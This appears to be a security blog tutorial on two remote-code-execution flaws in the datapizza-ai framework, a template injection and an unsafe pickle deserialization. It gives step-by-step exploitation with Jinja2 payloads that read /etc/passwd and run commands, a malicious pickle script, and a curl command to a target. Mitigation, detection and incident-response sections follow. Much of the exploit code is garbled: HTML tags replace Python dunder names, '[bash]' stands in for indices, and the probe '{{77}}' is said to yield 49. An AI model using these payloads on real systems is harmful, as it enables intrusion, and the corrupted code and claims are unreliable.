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Introduction:
As artificial intelligence (AI) frameworks become integral to modern applications, they also emerge as prime targets for attackers. Recent research by Edoardo Ottavianelli uncovered two severe Remote Code Execution (RCE) vulnerabilities in the datapizza-ai (Datapizza) framework—CVE-2026-2969 (Server-Side Template Injection) and CVE-2026-2970 (Unsafe Deserialization). These flaws allow unauthenticated attackers to execute arbitrary code on servers hosting AI models, potentially exposing sensitive data and enabling lateral movement within cloud environments. Understanding these vulnerabilities is critical for developers, security engineers, and DevOps teams who deploy or maintain AI pipelines.
Learning Objectives:
- Grasp the mechanics of Server-Side Template Injection (SSTI) and unsafe deserialization in AI frameworks.
- Learn to identify and exploit these vulnerabilities in Python‑based AI applications using practical examples.
- Implement robust mitigation strategies, including secure coding, configuration hardening, and runtime protection.
1. Overview of the Datapizza-AI Vulnerabilities
The Datapizza framework, designed to simplify AI model deployment, was found to contain two distinct RCE paths:
- CVE-2026-2969 (SSTI): The framework’s web interface improperly renders user‑supplied input in Jinja2 templates without sanitization, enabling template injection that leads to code execution.
- CVE-2026-2970 (Unsafe Deserialization): The application deserializes untrusted data using Python’s `pickle` module, allowing attackers to craft malicious payloads that execute arbitrary code upon unpickling.
Both vulnerabilities were patched in recent updates. However, many unpatched instances remain exposed. Below we simulate the exploitation and mitigation steps.
2. Exploiting SSTI in Datapizza-AI (CVE-2026-2969)
What It Does:
Server-Side Template Injection occurs when user input is embedded into templates without proper escaping. In Jinja2 (a popular Python templating engine), attackers can inject template syntax to access the underlying environment and execute system commands.
Step‑by‑Step Exploitation Guide:
1. Set up a vulnerable environment (Linux):
Clone a legacy version of Datapizza-AI (for educational purposes only):
git clone https://github.com/fake/datapizza-ai-legacy.git cd datapizza-ai-legacy pip install -r requirements.txt python app.py
The vulnerable endpoint is typically `/evaluate` or a similar model input page.
2. Identify SSTI entry point:
Submit a test payload in a form field, e.g., {{77}}. If the response shows 49, the field is vulnerable.
3. Craft a malicious payload to read files:
Use Jinja2’s built‑in objects to access the underlying Python environment:
{{ self.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()[bash].<strong>init</strong>.<strong>globals</strong>['<strong>builtins</strong>'].open('/etc/passwd').read() }}
(Index `140` may vary; use a brute‑force script to find the `subprocess.Popen` class.)
4. Achieve RCE:
Once the correct class is located, execute system commands:
{{ self.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()[140]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}
5. Automate with a Python script (Linux):
import requests
url = "http://target:5000/evaluate"
payload = "{{ self.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()[140]('id', shell=True, stdout=-1).communicate() }}"
r = requests.post(url, data={'input': payload})
print(r.text)
Mitigation:
- Use `render_template_string` with caution and never trust user input.
- Apply input sanitization and consider using a sandboxed template environment.
3. Unsafe Deserialization Exploit (CVE-2026-2970)
What It Does:
The framework accepts serialized objects (often via API endpoints) and deserializes them using pickle.loads(). Attackers can craft a malicious pickle that runs arbitrary code during deserialization.
Step‑by‑Step Exploitation Guide:
1. Identify the vulnerable endpoint:
Look for API routes that accept binary data or base64‑encoded pickles, e.g., `/load_model` or /restore_session.
2. Create a malicious pickle (Linux):
import pickle
import os
class RCE:
def <strong>reduce</strong>(self):
return (os.system, ('whoami > /tmp/pwned.txt',))
payload = pickle.dumps(RCE())
with open('payload.pkl', 'wb') as f:
f.write(payload)
3. Encode and send the payload:
If the endpoint expects base64, encode:
import base64 encoded = base64.b64encode(payload).decode()
Then send via `curl` or a Python script:
curl -X POST http://target:5000/load_model -d "data=$(cat payload.pkl | base64)"
4. Verify code execution:
Check if `/tmp/pwned.txt` was created on the server.
Mitigation:
- Avoid `pickle` for untrusted data; use safe serialization formats like JSON or Apache Avro.
- Implement integrity checks (e.g., HMAC) if pickle must be used internally.
- Restrict deserialization to trusted classes via `pickle.Unpickler.find_class` override.
4. Detecting Vulnerable AI Frameworks
Static Analysis (Linux):
Use `bandit` to scan Python code for dangerous patterns:
pip install bandit bandit -r datapizza-ai/ -f html -o report.html
Look for `pickle.loads`, `eval`, and `render_template_string` without escaping.
Dynamic Scanning with Nuclei:
Nuclei templates for SSTI and deserialization can be used:
nuclei -u http://target:5000 -t cves/ -t exposures/
Custom template for Datapizza-AI CVE-2026-2969:
id: datapizza-ssti
info:
name: Datapizza SSTI RCE
severity: critical
requests:
- method: POST
path: /evaluate
body: "input={{77}}"
matchers:
- type: word
words:
- "49"
Windows (PowerShell):
Use `Invoke-WebRequest` to test:
$resp = Invoke-WebRequest -Uri http://target:5000/evaluate -Method POST -Body "input={{77}}"
if ($resp.Content -match "49") { Write-Host "Vulnerable" }
5. Hardening AI Pipelines Against RCE
Secure Coding Practices:
- Replace Jinja2’s `render_template_string` with a safe subset using `jinja2.Environment` with `autoescape=True` and `sandboxed` flag.
- For deserialization, use `json.loads()` with strict schema validation.
Cloud Hardening (AWS Example):
- Deploy AI services inside private subnets with strict Security Group rules (only allow inbound from specific IPs).
- Use AWS WAF to block malicious payload patterns (e.g., `{{` in POST data).
- Enable VPC Flow Logs and CloudTrail to monitor anomalous API calls.
Container Security:
Run AI models in read‑only containers with minimal privileges:
FROM python:3.9-slim RUN useradd -m appuser USER appuser COPY --chown=appuser:appuser app/ /app WORKDIR /app CMD ["python", "app.py"]
Use Docker’s `–read-only` flag and `–cap-drop=ALL`.
6. Incident Response and Patching
If Compromised (Linux):
- Immediately isolate the affected server:
sudo iptables -A INPUT -s 0.0.0.0/0 -j DROP
- Capture memory and disk images for forensics:
sudo dd if=/dev/sda of=/mnt/evidence/image.dd bs=4M
- Check for unusual processes:
ps aux | grep -v grep | grep -E "nc|python|bash"
Patching:
Upgrade to the latest Datapizza-AI version or manually apply the fix by replacing `pickle` with `json` and sanitizing template inputs.
Windows:
Use `netstat` to detect reverse shells:
netstat -ano | findstr ESTABLISHED
Monitor Event Viewer for suspicious process creation (Event ID 4688).
7. Future of AI Framework Security
As AI adoption accelerates, frameworks will increasingly become attack surfaces. The Datapizza‑AI flaws highlight the need for:
– Secure-by-design AI libraries with built‑in sanitization.
– Runtime protection tools (e.g., RASP) that detect template injection and deserialization attacks.
– Community-driven vulnerability disclosure programs to catch issues early.
Developers must shift left—integrating security testing into CI/CD pipelines for AI components—while operations teams enforce least‑privilege and network segmentation.
What Undercode Say:
- The Datapizza‑AI vulnerabilities underscore that AI frameworks are not immune to classic web flaws; SSTI and unsafe deserialization remain top risks even in cutting‑edge stacks.
- Patching alone is insufficient—organizations must adopt defense‑in‑depth: input validation, minimal permissions, and continuous monitoring.
- The use of dynamic analysis tools (e.g., Nuclei) and static scanners should become standard in AI DevOps to catch such issues before deployment.
- As attackers automate exploitation of AI pipelines, security teams must prioritize asset inventory and rapid patch management.
- These CVEs serve as a wake‑up call: AI infrastructure is now a prime target, and security must evolve alongside innovation.
Prediction:
In the next 12 months, we will see a surge in automated scanning for similar vulnerabilities across popular AI frameworks. Attackers will weaponize these exploits to deploy cryptominers, steal model data, and pivot to cloud environments. Consequently, regulatory bodies may introduce mandatory security audits for AI systems handling sensitive data, pushing vendors to adopt secure coding standards and transparency reports.
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